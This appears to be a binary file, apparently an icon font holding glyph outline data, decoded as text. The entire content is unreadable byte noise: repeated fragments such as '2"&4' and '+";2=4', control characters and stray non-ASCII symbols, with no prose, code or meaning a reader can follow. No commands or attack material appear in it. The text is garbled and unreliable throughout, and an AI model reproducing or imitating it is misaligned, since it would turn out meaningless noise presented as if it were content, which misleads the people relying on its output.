(
      `   ' 3 ? K [ g  2#!"&546354+";2';2=4+";2=4+";2=4+";2=4+"754&+";2654+";2`@@@(				`   H00		0		y     ! ) A  2"&4>/7>.'&7264&"7'76.'&?>ΑΑ
c4&&4&Α>
&4&&4       @ H  %/67#"'".5'7&'&6?67&5462'0"0"132676&"264767,RL\142G6G!	D8P84#03C#"9dh`:_~)= {:|"v(88(Y$Xt7/        3 N  54&"54&"&'54&"&=4>3276322654.'#"/&54?&#"QH4<<4H0>R-97n		Vz'v		IVz8_F9. f

wh

hw

f .-
G	%
M/&    @     * 6  2"&=46/627.#"75&"26>54&'8DF;<<"} @ &4&/&:!D8K55KK55S,
&&
&&m&
,      !  33#"&476&67> 	-jQe:K? 92D[OV,}n5119."3W8.        ) T ]  ;#!"&546;;2=4+";2=4+""'.'&"+";26?212?62;264&##532



ȠPPPP	+"		
/		I
8



HH 	)6		2
			
        ' 0  ;#!"&546;6&+54&+"#"27#532



LA	 	A`
8



P		P`R
   G   3  #532&=#53546;#!"&546;;#"
b`@@	



	Fb`A@A|	



	       	  3  73#"&=46%#532;#!"&=3?6/&#46;pp		
7


``
Ƞ@	 	



A``A
          * 6 B R  %#5%#532;#!"&546;;2=4+";2=4+"54+";254&+";265 
7



ȠPPPP PP				@@




HH		`		        & 2 m  #532;#!"&546;;2=4+";2=4+">54./&546;2?6'&'54+"+"'&;25y
7



ȠPPPP	-	-	W




HX


        ; C L  ;#!"&546;&'654&+";26=3??6/76/#5327#532



E!!%P			;00		ɀ
b8



!&%			0;7 		b    A 7 @ E O  7;#!"&546;;&'.'&"+";26??62#5327#%'762



	+"		
b`DED(



/R	)6		2

(bDD        ' 0  ;#!"&546;26/&";;26=7#532



A``A	 	
8



``P		P
      &  %"/&4?'&?67627'"/		Pu_VVR		[1;;		;Q		uP_VVR		0;;		;R      @ 
 " 1  %"&546?"/&4?'&?67627'"/ @%6% 		Pu_VVR		[1;;		;Q]#%%@		uP_VVR		0;;		;R    - A \ n   62#"&76'47'.76'4&'".76'&6&'.76'&767'.76'.'".676#"&54'&676'&'.#&#0#"&=&762+>		";I		
(Lm
Q9		



'"&(X<9
GKl>60
rn	ik
`<*MK	
GH  ML	
FI)<#.><	
79?1:kJ55
897O
z,
	'
V		<9R
fHJ*     @`  $  2#"&'&?'&6>264&#"G0a@((@a0>p&X	
W&p		`)7337)<*B
nn
B*<	
        ' /  $2"&4&2"&462"&4264&"24+"36264&"NΑΑP*<**<<**<*ΑΑ)<**<*  h*<**<         '  2"&4264&"6'.#"7626264&"ΑΑ	=("	14)Α*	"	       32+"546;5'&63!2!!88J0**0      j  2"&446;.'+";2;2/&+";232?676?6?6=4&+"/&6?63232?65ΑΑ	Y;		Z
	/ 			ΑG	:R				 		
      _ n  2"&4654/&+.#"/&54?632;26/&54?6;2?6/&?6//2?676767654'ΑΑJ		C	
	
G 	
	_Α			


		G&				 	
/d/*     8 m  2"&4762;2=4/&4?&#"32?6;26=4/&?63254/&=4+"+"/&+";237632;2?6ΑΑ	3Su>
		'
	Α_N
	&
uS-			f
	           ! % ) - 1 5 = D K  2"&45#375#"6264&"5#75#5#75#5#75#6264&"5#326=4&+ΑΑ( 5000p000p000`(Α(8(((8((8((8((8((8((h(%(       &  2"&4"264&"2642676&"'&ΑΑU`Y	//
Α6'	
'      # 2  2"&4%2767&'&"2767&'&"2676&"'&ΑΑ8+`Y	//
Α!"		!"		!"		!"	6'	
'        + 9  2"&4$"?626'&'"?626'.2676&"'&ΑΑ[&#
&	#
&	`Y	//	Α)))6'		'        - A P   "&5476227"&4632&"?626'&'"?626'.2676&"'&(**0	ΑgJ>/L&#
&	#
&	`Y	//
@77<03gΑ)!.)))6'	
'        ' :  2"&4?6&'&'&2676&"'&%>'.'.7ΑΑZFi`Y	//		ΑF6'		'	F         # 1  2"&46/764.?64/&2676&"'&ΑΑP!!!!PPX`Y	//	Α-0((	((006'		'    / < J Z  "&767622"&47667'676&&>'?6&/.?6.>'&26*)!)yG!)yG	Z

4]Z

4"k,<@PH)H)
Gy) Gy) ([
4


Z`"a$,k       . G  2"&4?6/76&/&"2676&"'&%6&/&"?6/ΑΑ_#
F`Y	//	'#
#Α	##	  6'		'	  	##    6 F V d  72"&476"'&'&61"&'?676&>32&'&&"?626'."?626'&2676&"'&f)S)
Hr ss 
_?lEK&#
&	&#
&	`Y	//	H))GR9DD9R]:e=b)))6'		'       % - K  26=676&"'&.54264&"264&":#".=6362?>ΑYH	*	//	*	HY&
gO~.$		$.~OgW@%?	       ; H U  %:#".=6362?>26=676&"'&.5464/&?'76&6%&
ΑYH	*	//	*	HYP!!!!	PPI@%?	lgO~.$		$.~OgA0((((00      % 8 @ ^   2"&4&26=676&"'&.546'.#"?62264&":#".=6362?>NΑYH	*	//	*	HY
%
&4&&4&&
gO~.$		$.~OgP						0&4&&4@%?	         " 1  <62"4&"276'.#"?62&2676."Α7
%
&	Y`Y
/YΑΑ						a	'66'
      `   / ? O _  72+"&=46;2+"&=46;2+"&=463%2+"&=46;2+"&=46;2+"&=463`@@@ @@@@@@@@@@@@@@@    @   / ? O _  2+"&=4632+"&=4632+"&=4632+"&=4632+"&=4632+"&=463`@@@@@ @@@@@@@@@@@@@@@@@@         " @  72+".=4>;2+"&=4632+"&=4&#"+"&=6%Ҕ		zV8`8		@&@ ip		pVz8`8p		pi       F  7+"&=46;2#"&=46;22+"&46;23265454&"+"&=6%%%%Ҕ5% fzz		p%0%p%0%`i%5(VzzV		i   !     77/'7'&54%'76DC#)#+3`3+ FC##*3`3++ǩ         ' ; G S _ k s  &'&'&6;2+"'&'&'&6;2+"2#!"&=46;254+";2754+";2754+";2754+";2 "&462+
+
n+
+
%%%+o```6%%6%($>($>($>($>@%%%Spppppppp@%6%%6   @ - = M ] m s    #32+54&+"#"&=46;#"&=463!2;26=4&+";26=4&+"';26=4&+"26=4&+"334&"%54&+";26=4&+";260			 					 		&&&&&&3&38P8 &&&&	 	P		P	 		 		 	-&&e&&[&&&&(88e&&e&&         7 D Q  &=4;2+"=46#"'6+"=4.'&=4;22#"./2!2+"&/<0(0$qYZ).00vYuV

v*AB>,9!,P8!W1/'%>>


p
	         - 5  2"&4264&"4'654.'&7>264&"ΑΑ##")ΑW
			      5 G  2"&465."?624'654.'&7>765.#"?62ΑΑ#&#	&h##")A#	&ΑK))
			!)        & . M a  %/&>7676#"&462&#.&264&"4'654.'&7>?626'.#"S
/4gΑT##
)
'	
.!	S	TΑg.,%#									
	         %  2"&4"264&"2642676&#!"3ΑΑU87Q

Q7ΑH66H      . <  2"&4?626'.#"?626'.#"6&#!";26ΑΑ
&	#
&	

Q77QΑ6)!!w6HH      # 1  2"&46/764.?64/&6&#!";26ΑΑP!!!!PP

Q77QΑ0((	((006HH         ! /  2"&4?626'.#"&"2646&#!";26ΑΑ
&	%Z

Q77QΑ5						
6HH       	  A L P  7"&=46;%+5322+"&547#"&547#"&5#"&=46;2#46;25# @  0		S((S	0		`	``0`  	 		p	 		 000   @   # /  2"'&547.=462767'5%6hJrrw,!!/	
J4>>40?	(%@%(
8       @   ! + 7  2"'&54264&"7.=462767'5%6hJrrm""w,!!/	
J4>>4^""I0?	(%@%(
8        ?&7> '7'/&?6276^KK"r/75bWi!%KK"7/rD5KbWh$   	   4  '&6;2%2&'7632"&46&/&"?6/?/o	
o
U
	o/?E
ʒggg44&	//	=
++
sggg6//%4		4          2"&4264&"264&"ΑΑΑW       ! 3  2"&42654'"&54724+"362654'"&547ΑΑX&4&""4&""ΑG&&&  p&&&       *  !2#!"&=463!6?654&+";26p				 MM0FF	 		 	[;LL&&      	 +  #76322++"&767.5#"&=463d				C6

6C		c$	 	<a  a<	 	        0  #!"&=463!22+2+"&=463546;265` %8(@%@` %@(8  % 	    	    - 9 A F  673&.'3'>76732#!"&5463264&+"36264&"7#&-''-V.
'j%%				;jKKjK-'1) )**h*#f)1@%%`				`KjKKj1)        ?'73264&"'766'OTc!]];1#]$b!cT;]]'T(b        &  7'73264&"'>%'762+
(]
o99(5+](
		B(99      $ 6  7'&4?622?'762'&?%"/7?md		Z		">>,.q.(-qk		Z		d,>>d		Z		">>,.q.-(qk		Z		e,>>        .  !2#!"&=4637&=46'46'%&'p				'f0A	db+(&+	 		 	e		C	1N
     1  !2#!"&=4637'&6?627'&6?63276+"p				AM(HhAc++.,	 		 	kS$4b!R21'$     * 2  %//&?'#+"&546;276%3264&#-NNNN	 		(80$TN``NNNNP		 	8($6TN@        . 6 J  254&""'54&".546'.#"?62264&"76'.#"?62ΑA7		.d.		7A

%
&9((
%
&	gBq!				!qBgG						&4&&4							       # .  2"&4"2642654'&"6264&">'&#"32ΑΑU(**3-F7Α776        ! ) - 5 9  %+"&5#"&5#"&5463!235#264&"75#264&"'3'#u 8P88P8 R``L((`((0PBo(88((88( `((``((`     =  2##"'&7#"&?6&&/&?6>76327>o
)"(
C#+M
b:7:&*KJ6
E= 	 8=	'	%#3hG6!'        ' 9  2"&4?626'.#"6&"'&276'.#"?62ΑΑp
&	#

#n#

-3#	&ΑF)**6!)       ( , 0 4 8 < @  !2+"&=4>;53#!"&54>3!23'7#?#3'#73'3'#			07		7	

j
`
gFrj	 
	   		B1`` pp``p`` p    A  ,  2"'.543267>&'&'6768'SS''?D++D?'!FG" %;?QQ?;%$'88'$oo==o  "  %/&&?6/&6?6%">H6 F&3&)'H!.L	C>"(	4949/!= 	    	  ! ) 1 9 A I Q  #546;22"&42#!"&=463264&" "&4622"&4&2"&462"&42"&4@(8 8(B//B/Mss``m8((8 /B//B3s       *  5!2#!"&=46;26=4'&5463 @(8@8(C	D-+@@@ 8(  (8(2,:+ *$
    '  #"/#"&?'&6?627//jjA	(	ARr3f&gDDg&Qg6r       # / ; I  2++"&=#+"&=#"&=46354+";2=4+";2'#546;2#5P	 		 	0`0 				hPPPP         2"&4264&"264&"6264&"ΑΑC4&&4&Α*&4&&4        
  % - 1 5  73622#!>?"&546;2264&"75#75#		K		8P8j8@@@		L		 (88([@@@@        h  T \  7&'76?6/&"'&+""2+"'"'"'+"&=46;276;2276;2276;23$"&462	DP(1d"dq
0

0		:&&t&&t&&:		%JJ%1B//B/b9
"&P			 	 	      	 	`/B//B    4 j  %2+"'"'"'+"&=46;276;2276;2276;23%"'&'5462+"&=4&"35462+"&=4&"#5#p		:&&t&&t&&:		%JJ%
8P8	 	8P8	 	
 	 	      	 	 	(88(		``(88(			`        '&?66762%47#"&z	
	
(-6,!2BIg

	
	>@4_6I&(&-h      # 2  2"&46/764.?64/&"7626'&ΑΑP!!!!PPRM	))Α-0((	((00>-
-    3  #"./.""&/&'&'&7>76676/676%
	""%2" #d	
0)"2`>1(CS9"

"9SC(2="3	@#3    	   1  .7>>327/6'&2#!"&=46;7s-G'I!`+
.#:?f				I<A78;Z=L_[,H	%]J	 		 	       / 3 7 ; ? W  #2+"&5#+"&=4635"&=46;2346;235!355#!5#=#"&=#+3235463 `````       @```         `        $  %#!"&7>;&5463232&264&"`I<8(,<	))$(8,    %  "  2+"546;5.?4>;23'(4@	@4ruW77WuPP  / 7 ;  %+32#!"&=46;5#"&?#"&?&5462+&"264#3{	p				p	^1
r(r
1V			`
 	`		`	 
a	~~				y     " 5  #"'&"#"'&'&767676676'#'&7676763_'$+A A+$'*$$*?#/++G0:

:0G++/#

%$ 	   ( / 6 B J V ^  %'"''&7&766267&'&'767*#">"6727&'76'&'66''6'&#"#"#2"&47W$|$W77W$|$Wk%, 2 `!!!!%K54
VV
45KK54
VV
45	
##
%%x####(#
	#	        ` O  %#"&'4.#!"#"&=46764'.=46323!2>5>32W,'
',,
	',
$,
,$

$,,$       +   "&462'&'.=46%2.=476`8P88P>F|<|E
DP88P8#")   @ % K  2#"&'#"&547.547&5467&5463021>#"'#"&546320212&*&*(&"*&*&"&(&**	(.(	&(	**x%&	(         + 5 H Y  %+"&=!+"&=&=46?>;2%!'.+":>54&#"!264&#":    "9 9"N	!06  60!2
& 222!	       # / K  2#!"&546;546;23546;254+";2%54+54+"#";;2=32@ 	`		`	 pp ((((@  0		00		0((((  * f z    7&?6/.?6/&6?>?6/.?'/&'&?&'&?676?676767676%&>76&'&'&/&#"&>76#
NA	2M
+= %		
 {}
	
	{	 l)
.M
+=
NA	28+$/4C4.+!	5d
	)6!+.O
       $ , 0 4 <  2+"&5#"&5#"&=46?>;2264&"75#;'#264&" (8	08P88P80	0!m|((xM&MY(( 8(P	(88((88(	p"z
((```((    @  Q h  !2#!"&=46332'.=4&+!46;2327>=.=46;5462354626&+76&+";327P					2"'%%$4
			 		:D;	 		 	@	 *x!..p`%%4$v* 	0		00		`3	kS      '  %"/&4?626/&#";2=37		

		

{U
p `


		

		N6P@6      ' 8 @ H P X `  %2#"'##"&5475&546323632#0#23'"1"&46;7#264&"64&"2$"264264&"264&"%%%%%  %%%%%''&%%&			w						 			@			`%6%  %%%%  %6%A A	@%6%@b						 						 			         7 A E  %'&?67&?'&?6'2#!"&=46;;267!463!2! ::$$U$$::	& &	= @;;$$$$;;	&&	pP        0  &4?62'%/&4?2?/&4?2? ;::,jjjjjIIjjII       ! ; G  7"&=463546;22++"&=2#!"&5463!264&#52%"=4;2#	@		(	$	 	5KK5Oq1						KjK@qOI7         ` 2 6 A  6#!"&='.=4>3235#"&=46;2+325'46?"&v	F		88				8920
+$ 
/_	0				0A?>]
+>     0  %#!"&5467&546;&546;2654'6323232#**#*%!/
(8%*O(**(#*%/!8(%*#         #  %+"&=46;2$2"&4%#"&?62 KjKKjK߾	_
&
_	3KjKKjk     7  %/+"&=&/&6?'.?>546;276 	@	  	@ r8O		O8NN8O	O8N 	     + 9 G U c q   2#!"&546354&+"26=4&";2654&+"26=4&";2654&+"26=4&";2654&+"26=4&";26 (88(@(88(@	@	((	@		P	!.!!.!	P		P	!.!!.!	P		@	((	@	8((88(@(8@		@@@		q8		8!!X!!X		q8		8!!X!!X		y@		@@@		    
     + 9 G W e s    2#!"&=46354&";26754&";26754&";26754&";262#!"&=46354&+"26754&+"26754&+"26754&+"26 (8% %8(@(	@	!.!	P	!.!	P	(	@	%8(@(8%`	@	(	P	!.!	P	!.!	@	(8(@%%@(8  		8!!8		8!!8		  		% (88( %P 		 		!!		!! 		       ( 6 H T \ j  7&>#"./&67632*#"0&'&567%.?>766676.67&'7676.'&6 ]F&#YJ gu$$ dY, SaAO6 , SF
.",+-2# $D&'
91+
	)H!A`)	,'*(O	     . 6 > F  3"&'.535.535.53546;23264&"6264&"6264&"@	F\F	%@$@$@@(((((( &%,99,	2 &
1&
1  %&((d((d((      1 5      %2+.#"#."#"&=46;546;546;232%3'#2+/+"&=&'/&?&'#"&=46;67'&?667546;276264&"'2+/+"&=&'/&?&'#"&=46;67'&?667546;276264&"p		'0&CBCLC			qSJ3Q0	
	 	
		
	 	
((	
	 	
		
	 	
((	 	"""	 	P	`
h@`@ 	
		
	 	
		
P((4	 
		
	 	
		
P((     7 ; C K  %2+"&547#"&547#"&=46;546;546;232%3'264&"264&"p		2B\BDB\B2		qm0M((<((	 	.BB..BB.	 	@
@``((((           
  3 K  ?62"&472#!"&546326/.+";2?33754&+"&#"327;26`	6	6	F		**	55 			$*<*	    @ # /  %2++"&=#"&=46;&5462&">54(

`
 
`

-%JlJ%E,
 



 
;5AOOA5;"9!(       : B  %#!"&5463!2;;26=326=4&+54&+"#"5!"3

)77)F	0	 	0		0	 	0	Z	4
	7)@)7v 	p		p	 	0		0	@       / 3 B  $2"&454+54+";2'"!546;546;232&'5#!"&=33xTTxT
&


<
@7.uPP		TxTTxB
6

L
 P001`  *&0	       - 9 E Q ] i u       2#!"&546;546;23546;23546;254+";2=4+";2=4+";254+";2=4+";2=4+";254+";2=4+";2=4+";254+";2=4+";2h

(		@		@

(((((((((((((((((((((( 
h
P		PP		PH

((l((l((((l((l((T((l((l((((l((        T  2#"'#"547>7&54>'./&54;2?6&'&'54&+"+"'&;265Ԗj83AL92	 		2	 		zz329JV%						   B  O g   #"'#"54767&5462;2=>54./&54>;2?6'&'54+"+"'&#"'#"&'32654'zV<3+.&zf-	-	Z.+3<@hc9HB^)3B^ 	


6,qO

P23      #  2++"&=#"&=46;546;2``@``@@@@``    
   W ] c i o u }     %2#'"/+"&57&'"/&4?&'"&=46367'&4?6267'46;2762'7&'67#677&'7&'6264&"67'367'?&'

$/;		;/$

$/;		;/$+Y%+l@	L1	C+2:%+l@	@1			;/$

$/;		;/$

$/;@	11	%L%+@	1w1	%H%+       - T  7"&=46;2#546;2+"&2?#!"&=%5!'54767546;>3232								F4```NN				P				r՗
FF

,		,        !  2#!"&546;54&+";26`@`				@ @				         5  2#!"&546;54&+54&+"#";;26=326`@`	H		H		H		H	@ @	H		H		H		H	     Z  /&='&63!22"&4>54&/&546;2?6'&'54+""+"'&;25?R;#Py^^^-		-	gCQ9	<''^^^
	
        e o y  %2+5#5#5#33#54&+"#53535####"&=46;546;546;54623546235462354623232'354&+"54&+"		P     P	@	P     P						@		@		@				0		8	 	`		``P		P``		p	P	p								p	P	p00		@		@     1 ? G  %"/&5476;5462;2=462;2=4623226?."62"&4	f88f	@ 

 

 @00200=	n<<n	



Ѐ $ <   2 D  %/#"/#"&57"#"&?'&6?'&676276'7'7''77'bK	lDDl
Kbn*^""^*/$/5--5/$4!!5S
qYYq
S5h<kk<h}(2332(6**6      g  %3#"#.'3'&'473'676327&?'&4?'&64276/>76&'&67654'&6323(!QM(;/)V

:)-
**

**%5:

U)/`HXWE;)f<G+%74#A	!		!	 	!		!A5% >+G=f)          %#!"&5463!20#"/267#"'&54?<14'"'&?&''3276/764/7454&#"#'4"'&32?.547&547"'5!"3

)77)F%	=N=	% 
		
 Z	4
	7)@)7v &11&  #	
po	! @      A    . = K Y  %&546?626"/.=54&?6754&3766=4/&'6=4/&*	 ,

PP``PP``l1PP1
OmR66"-$  n v ~  /612#".5'"&5475#"&46307'/&'&6765'&?.5467'&?7>54'&54764'6'76/82
5P/
))	

/P8
/<		&!M,;;,L"&	U~s?'$=
*!
			!*
AE 	

(/(F6$	33	55	33	$6F(/(	t &&""&&         ' 7  #!"&=4?62335335332!546;2#!"&=463
	 	
@`@`@	@			 		d%		%Z	00	`	 		 	   @  ' 9 = L  :767#!"&=72"#".'.'5463%2+5.+54635#%#5463!2#"*+ @ @ ,)"	), $` @`@& 00!	"`! @@` `&    	   ' 2 = H S ^ i t   2#546;2#546;2#546;2#54636"&546?"&546?"&546?"&546?"&546?"&546?"&546?546;2+32#!"&=46;5#"&=46;2;546;2326	@		@		@		@	} s s s s s s  	 	8(		`		(8	 		 	@								  . . . . . . .Ӑ		(8@	 		 	@8(				     	  C P  3+"&%!&5476?2+54&"#54&/#54&"#"&=463#5467@CXE++EX @@   @C8+5

5+8C<@@H$
&H@@@!  0
       h   '&4?6"2#".5'546326=4&"+#".5463264&+&/&6;264&#"/&47632?6#".'&66iR;;%'
#/
)K5*A$!1 &&!			 

(8%	/
q%&'5;)d$4&+	d
!5K01&4& (&
$'$
	
$	       $&#".'&'32#".'"'#"&463267&'#"'&&'&4>7>6767&'#".'&#"&463232>7'.5462627&5462327>32#"#"'7>"264$"264g
!	 

((

 	!



*#%6%:%6%#*


						h	#8-%%-8#	
!4"%%%%%%%%"4!'							            2"&44&'657677ΑΑWAY&s3&+E(ΑgCgg)rG"ir	"?3N,/)g     	  /  %+54>?#"&5%#54&"#54?54?6m	p 	mp	`%6%`0	LL	Q	d	L	/		`%%`	s	KK	s       / ?  2#!"&546354&+";26754&+";26754&+";26p	 		 	`	 		 	`	 		 	`								@		@		        / ?  %#!"&5463!2326=4&+"326=4&+"326=4&+"`								@		@		`p	 		 	`	 		 	`	 		 	        (   "&462'+"&46;'.?67676&6%%6%_#n\- 1&(':!X!@%6%%6An1"#G!\!./
!H
     ) R   2#"&=46?54?03>26=4#"/.=46226=4/&67621/&	Zu
M		z&/		M
u '?
/`
QM		P`/
?'P		M
Q       1 N V  %#!"&5463!2"3237232/76&#/&"'"327654#0"#"&463:1324#&5!"3

)77)F;/DD/'88'uZ	4
	7)@)7xCC`C8N8@      $ _  %"/&=#"&462322654.#"7+"=&'&?6;2654/.54>354;2'&+"d8HVzzz,
xT'B'<T	-	d
,zzzVH8	T<'C&TxE

        $ 0 ;  %"/&=#"&462322654.#"62"'&54264&"d8HVzzz,
xT'B'<Tq>+CCJ
d
,zzzVH8	T<'C&Tx+$OO$5
        % 5  7#"&'&6?535#546;272#546353#"&'&67( .W s -^)!HA    =W!H      G  ;  %//&?'&?67672+#"/#"&=46;2>3;........

b X,

Q
:U........
0

0
jC       9  2#"&4632#0&#"3267#"/#"&?'&6?62T	+.jj.,W||W7DD7L""	Ԗ||6L$$L6EE        & ) , / 2 5  %+"/#"&?'&6;76232#'#3373'7#73'5k8*8k55k8*8kB( 5p55p8.((.(Y$^^$YY$^^$!7XXX&8!!!&8!     	  ' E  762#547!#762'#54&#4?6'76&+'&"#";2?326F&r&`-`H''''+

+f
`'&]z
f((((          F R U X ^  %'37'$2"&54737!;32?327654/7654&+'&#1"#"$2"&54#''73@$Q((|	<<	<<s(($,B!!B!!R@`111

1111

1@o8888     7 ; ?  267+32++"&=!+"&=#"&=46;5#"&=3355#xP 0		0	 	 	 	0		0 P```@	 						 	@``@@@@@    @ D H  %+"&=#+"&=#+"&='&'&?5'&4?5'&6?%35!5!y7	 		 		 	7Y7		ww		7 @/
0		00		00		0
1@2@VV@2@@@@      -  6/#"&=46;//&?'&?676Yf

fP-..--..yY

`.--..--        %  2"&4264&"&264&#"3"&462"&4ΑΑP88(PppP(8SΑm8P8pp8P  @  4 D L  ";#";#";!!&'.7>/762#!"&=463264&"rip'
FF'--[%%@@@`@MN	?JJp%  %`        0 L T \   "&462#!"&5463!2";26=654??6/76/&'&5!"3"&462			

)77)FB/ 	@	 GGbbFFbbw			8				4
	7)@)7& 		 ++**@8			        #  !2#!"&=46;'&?676%3p				5	
))
	5t	 		 	JJ		88		J      - 7 ? G  327+"&=32+"&54&"&4632>?"&=264&"264&"#!*	 	 	&(833@8P8@			Y			 &		`	& 8(V'`@(88(@P							   7  #546;2#54'#5##5#+"&=!+"&="&?63!2p0K5@5K0(000(N	 	 	 	
j@5KK5.p		pp		p      B  <  %+"&54674&5463263276&'654&#"&'&54632W*/!(8$8(,&5T%8(
qO#)m_.!/8(1
(8&'A$(8PpF)F[       D Q  %#!"&54674&454632632%&?'&4?'&676276&'&"74632.?$8((84%B."6&R	L	SS	X))X		!\B1#)
;'z
1(88(&6.B$
&	X))X	SS	Y!B\.#1$D/  
      ' 0 : E K O  7'"&?&=46&63''&4?6#76276/&>2".=7#'3'klMArQ	=m__}LPujddd8.BY1b	zbWBߜŰ      #  '&4?66&='46/&5    R
ww
e&]

mt

]&          ;  2+'54632264&"3+"&=#+"&=.5462	% 57				@		@	$`	 %$.
0			Y6		pp		
1     C I  7&?>#"&?#!"&547>7.='&4?'&6;2+"/#77		u*x[ #H0
GUZ-3<<>
K	@uW+*)EB<#/@
_6m
2
c	

	%      .  &#"+"'&7'&54>32?547>323HV(	#2"(?).F3I	X!
)#"	(VO?           0 @ P ` p       7+".767>%+"/&67622+"&=4632+"&=463/.7676"'&'&?6#''&'&?>2+"&=4632+"&=463'62+"5'67+"5+"5a%*%@		`		`		`				S*S
*S		$*I		`		`		`		

@.+hh	@		@		@		@		3$3+.
3	Z	@		@		@		@	        - O h q  ;#!"&546;54+";2=4+"&=46;22654/&54;2=4+"+"374+"276=4+"&57#532



`		,`$$y
8



 	 	`x7''7
     D P ` p  #"546;2!5'&=;27;2732?>72=4+"&546;2'&+546;2"&=46;2#3"&=46;2# 0	 	$ %   #	p&  	 			 		@		 		 		X'$@@%5N	(			%?p										     & .  6/&/&"/&&546264&"264&"Rt
+))+
lqQ	0..0	Pv  G  '  %/&?'/&='6276"&47%;Z$1Z//-	14% Z	1-//-$1%4          ' / m x          32#54#32#54;2#54;2#54#54;2!32#54!2+32#!"&=46;5#"&=46;2;546;2326=4636"&546?"&546?%".546?"&546?"&546?2"&546?"&546?"&546?"&546? 8  H ` H 	8(		`		(8	 		 		(
C2(
 xxxxxxxxxxxx	p(8@	 		 	@8(p		p		p	 

'

' 

'0

'

'

'

'

'

'       $ ,  !2#!"&=4637#7>?#?/7?/		 		o8V@@  @    	 		 	@ "	k

   @@         J R  7#"'.7/.?>2+"&=#"/1"&='&54?>3235463&"&462Q#4@:!			0
/W	 /#	\((5eb"+				P/SSV
k/	@((     > F  2#+"&=#+"&="'+"&=4632546;2632>264&"E	 		@	3z3	@	pPI7

#			`\ 		 		GG		B^)1

	P			     A K S  &/0+"&='+"/&54?&5457+"&=4636;46;2264&"@
! 	@		B		4$+K5x	G			sM
	&f-!		@idD)8		8$4!5K	 			   G  4  3+'7'#"&=265%/&/&7%62546;2 	(h<h%	
 e	@	M	7@w@I	H



Z4		    Z  %#32+;2?6+".'&7#"&=46;7#"&=46;7654&+"&/&6?6;232pd"			T	%O#	*		d"			T	%O2*		 	 				
.0	 	 	 				
.0	 	        ! +  2#"/&"#"&7676276'&"276'&"AJ2??&'&@OarJO^!		!^!		1^!		!^!		mIWH8&&8P`,)))))))      #!"&'&5476273{	 
"
f&@U	
	L&@     K O S W  %+32+"&=46;5!32+"&=46;5#"&=463!5#"&=46;2+!2%35#5#!5#	h8888h		HH	@``	((((		((	x@@@@@    > F N  2+32+'32+";2+"&'&76=46;76;2"264267#7`8(\7	PK@			pl0(pP89			Mwf (82n	P			%*&.PpX			W;7           2"&=4$"6265427&"ړԖPpII99:R>b;SS;b>/!**!Z       B   "&462+"&46;%2+"/#"'.?'.?'&.6?6$((
 MC6 >U
%(
'%,G*`(()N$	fW2.W
(5       
  &  2#"&=4&54'!2!!2#!265(P	 -P(8 P	B.(8P	@&'p8(  	.B8(   # 7 ? G  /&/&6?'.?>76'.5462+"&76"264&"264 &TxT& ~
ZZEEZZE:"5KK5":

       &?6S	
M	
=
	9
  G  o   '&54?>#/#+"&='"&547+"&=4?#/&?6;'&/&?637>23?632/&6?6#'&'		0/=		J7R7J		=/0		4
NE
5		2=$
$
$=2		5
EN
s6NH(		Ha	N		Iw(==(wI		N	aH		O	P		L44L		P	HN6	   @  $ , 4 < D L  !#!"&7>=46264&"264&"264&"264&"62"&4264&"	
	8			I			I			I			P88P8S:J)1	Pp															ppp%6%%6       m u z  $2"&4264&"2&#"#+"/+"&=&'"/&4?&'#"&=46;67'&4?6546;2354762 264&"73'#H44H4Nh	3;$Q		,				8f	oB//B/fn)kp4H44H<3	30				,	(.$

( /B//B``      
     ( <  #>32#7"&547367#'547"&%2+'72+654&+'327ZR@(\gB6jKbP0 *q7OP/!F*#L#D$,P2K55w0*=)D(`O7*!/`         $ ,  2+"./&"+"&5463264&"264&"`: e6%%6%e6%%6%	==@%6%%6%%6%%6    
   A [  72#"&'&6;232>'.+"&=4635"&=463!2676&#"+".7>#2&'&6;23264&+&'%9:+#5
 
				N !26(	:-06D/+H
"
t/$,A,"

		 	 	 	
	'(.G T7.
+'(&       '"/&4?>7&?67'M5ZN#LzZzwL#NZ5M^zZz         - W  62"&4$2"&4'#"'"'#"'&7&47&66266+&'&#&""#"&5467&54632632:12((((G2$2#8(+	<	+(8%B. 5%!/(`((((22#$P8
	8(2

.B!/!	     B  8 E R _ l  %#!"&5467<146326326#"&"'.'&'>32#"'&?>#"'&?>#"'&?>#"'&?>^%/! !/%8(1,+E+T:%2$	%[$	%[$	%[$	%,!//!,(8(%5#+:P
5.@@@@@@@@      + ; J  2#!"&5467&54632632:62"&546762#"&546762"&54>(88((8%B. 5%!/"(""""(@8P88(2

.B!/!	23232         ) 7 E c  6#"'.?>#"'.?6&#"'.?6$#"'.?6&#"'.?672#!"&5467&54632632:@	@m@	@@	@@	@S@	@;(88((8%B. 5%!/Qpppppppppp8P88(2

.B!/!	  @  E P ] j w   %#!"&5467<146326321&?'&4?'&6762760"1"&7&54632#"'&?>#"'&?>#"'&?>#"'&?>%/! !/$8(1";GGK##K	% Ib&D$	%[$	%[$	%[$	%,!//!,(8(5K##KGGP&
@@@@@@@@  1 J c |   %'.'!'+"/&?67&'.7676326&#/&""?65'76&#/&""?65'76&#/&""?65'5!+"&=#+"&}		6&
	K	+*
Q&C


`	@		@				Nl#	c#	+**Q$ 





퐐		PP		       1 U ] e m y  2+"&54327.5>7327&'.5>7&'327&'.5>676.264&"6264&"264&"7264&"	 	,>&3=1S?AW3+O-%>&3=+O-%&.T,+O-.	5!6H+O-%&.T,1N.1(A( 4$)							I						0		$
E	V>		
=	t!E		
	(			/	

9	

/	

       ! ) 1 9  6"&4?6766264&"62"&42"&4	 '-9r9DZjKKjKSI			
aZ.@>9r9BL ^KjKKjuM			     @ 	 5 = R Y f  53+"&2+"/#".='0&5#".=46;2&"&462753"&5#"&'#"&?'46;#%2+"&5@	 	 :)			&-Y(( @`	 	0		Q=8		8+e		`&-`((D `0		       M  %2#"&?#".576;27+76'&+76&+"#"&5467&546;2654'632324X;
D|+/!D0!/+
&!/	(8&p	ax
